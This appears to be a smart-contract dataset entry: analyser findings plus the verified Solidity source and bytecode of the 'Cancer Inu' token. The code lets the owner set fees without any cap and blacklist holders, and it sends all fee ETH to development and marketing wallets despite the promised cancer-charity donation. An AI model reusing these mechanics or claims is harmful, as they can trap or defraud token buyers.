1984308d600080601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561395457600080fd5b505af1158015613968573d6000803e3d6000fd5b50505050506040513d606081101561397f57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838b604051808381526020018281526020019250505060405180910390a15b50505050505050505050506000601860146101000a81548160ff021916908315150217905550565b60085460065442031115613a2657613a25614913565b5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613ace575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b245750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613b7e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613bd85750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613c325750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613c6a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156141ef57601954811115613ce7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000613cf283611ae0565b9050601a548282011115613d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a466023913960400191505060405180910390fd5b6000600267ffffffffffffffff81118015613d6b57600080fd5b50604051908082528060200260200182016040528015613d9a5781602001602082028036833780820191505090505b509050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613e0557600080fd5b505afa158015613e19573d6000803e3d6000fd5b505050506040513d6020811015613e2f57600080fd5b810190808051906020019092919050505081600081518110613e4d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110613e9557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015613f69578082015181840152602081019050613f4e565b50505050905001935050505060006040518083038186803b158015613f8d57600080fd5b505afa158015613fa1573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015613fcb57600080fd5b8101908080516040519392919084640100000000821115613feb57600080fd5b8382019150602082018581111561400157600080fd5b825186602082028301116401000000008211171561401e57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561405557808201518184015260208101905061403a565b5050505090500160405250505060008151811061406e57fe5b60200260200101519050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561412057508473ffffffffffffffffffffffffffffffffffffffff16601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561412e57506007548110155b156141eb5784601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426006819055507f4c871c3585d41b09911c57f03284ab442bf1dd19797f1168aeb66851e4e49f1c601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5050505b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015614297575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156142ed5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156143475750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561437f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15614523576019548111156143fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156144ca577f68e3af7371e2e23520df2be83465f3e272daf6599f4fff39a23ff93a3369a82b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16144c9614913565b5b6001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806145cb5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156145d95760009050614695565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806146825750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156146905760009050614695565b600190505b92915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146146fb576012546146ff565b6013545b90506000614729606461471b848761484390919063ffffffff16565b6148c990919063ffffffff16565b905061477d81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289490919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361483881856130e090919063ffffffff16565b925050509392505050565b60008083141561485657600090506148c3565b600082840290508284828161486757fe5b04146148be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614a696021913960400191505060405180910390fd5b809150505b92915050565b600061490b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061497f565b905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600681905550565b60008083118290614a2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156149f05780820151818401526020810190506149d5565b50505050905090810190601f168015614a1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614a3757fe5b04905080915050939250505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212201126dec42ac95eed046e3979eaafefff2225c2c0b2805b77d9e3fd27efe1f2d464736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,901 |
0x30a4b61e2990ee8458bc351d9321565bedd3d7aa
|
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/**
Cancer Inu
Cancer accounted for almost 10 million deaths in 2020.
Approximately 39.5% of men and women will be diagnosed with cancer at some point in ther lifetimes.
Chances are, we all know someone who is no longer with us because of this horrid disease.
We want to make a change.
A portion of the proceeds will be donated directly to the American Cancer Society.
BECAUSE FXCK CANCER.
http://www.cancerinu.xyz
http://t.me/CancerInu
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CancerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cancer Inu";
string private constant _symbol = "CANCER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11; // 3% will be donated to American Cancer Society
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11; // 3% will be donated to American Cancer Society
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x1FC17994b0d9A588E926F829EC6EFdBcf9702357);//
address payable private _marketingAddress = payable(0x51D0917bC12fb5c9DAC2254Afd5b2b448b1F6920);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054a578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a9059cbb146104c5578063bfd79284146104e5578063c3c8cd8014610515578063c492f0461461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b87565b6105e6565b005b34801561020a57600080fd5b5060408051808201909152600a81526943616e63657220496e7560b01b60208201525b60405161023a9190611cb1565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611add565b610693565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a9d565b6106aa565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601654610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a2d565b610713565b34801561036e57600080fd5b506101fc61037d366004611c4e565b61075e565b34801561038e57600080fd5b506101fc6107a6565b3480156103a357600080fd5b506102c26103b2366004611a2d565b6107f1565b3480156103c357600080fd5b506101fc610813565b3480156103d857600080fd5b506101fc6103e7366004611c68565b610887565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610293565b34801561042c57600080fd5b506101fc61043b366004611c4e565b6108b6565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b5060408051808201909152600681526521a0a721a2a960d11b602082015261022d565b34801561049157600080fd5b506101fc6104a0366004611c68565b610902565b3480156104b157600080fd5b506101fc6104c0366004611c80565b610931565b3480156104d157600080fd5b506102636104e0366004611add565b61096f565b3480156104f157600080fd5b50610263610500366004611a2d565b60116020526000908152604090205460ff1681565b34801561052157600080fd5b506101fc61097c565b34801561053657600080fd5b506101fc610545366004611b08565b6109d0565b34801561055657600080fd5b506102c260085481565b34801561056c57600080fd5b506102c261057b366004611a65565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506101fc6105c1366004611c68565b610a7f565b3480156105d257600080fd5b506101fc6105e1366004611a2d565b610aae565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611d04565b60405180910390fd5b60005b815181101561068f5760016011600084848151811061064b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068781611e17565b91505061061c565b5050565b60006106a0338484610b98565b5060015b92915050565b60006106b7848484610cbc565b610709843361070485604051806060016040528060288152602001611e74602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061126f565b610b98565b5060019392505050565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161061090611d04565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161061090611d04565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107db57506014546001600160a01b0316336001600160a01b0316145b6107e457600080fd5b476107ee816112a9565b50565b6001600160a01b0381166000908152600260205260408120546106a49061132e565b6000546001600160a01b0316331461083d5760405162461bcd60e51b815260040161061090611d04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161061090611d04565b601755565b6000546001600160a01b031633146108e05760405162461bcd60e51b815260040161061090611d04565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161061090611d04565b601955565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161061090611d04565b600993909355600b91909155600a55600c55565b60006106a0338484610cbc565b6013546001600160a01b0316336001600160a01b031614806109b157506014546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f1565b90506107ee816113b2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161061090611d04565b60005b82811015610a79578160056000868685818110610a2a57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a3f9190611a2d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611e17565b9150506109fd565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161061090611d04565b601855565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161061090611d04565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b1561116857601654600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b601754811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3d57506001600160a01b03821660009081526011602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b6008544311158015610fb457506016546001600160a01b038481169116145b8015610fce57506015546001600160a01b03838116911614155b8015610fe357506001600160a01b0382163014155b1561100c576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611091576018548161102e846107f1565b6110389190611da9565b106110915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b600061109c306107f1565b6019546017549192508210159082106110b55760175491505b8080156110cc5750601654600160a81b900460ff16155b80156110e657506016546001600160a01b03868116911614155b80156110fb5750601654600160b01b900460ff165b801561112057506001600160a01b03851660009081526005602052604090205460ff16155b801561114557506001600160a01b03841660009081526005602052604090205460ff16155b1561116557611153826113b2565b47801561116357611163476112a9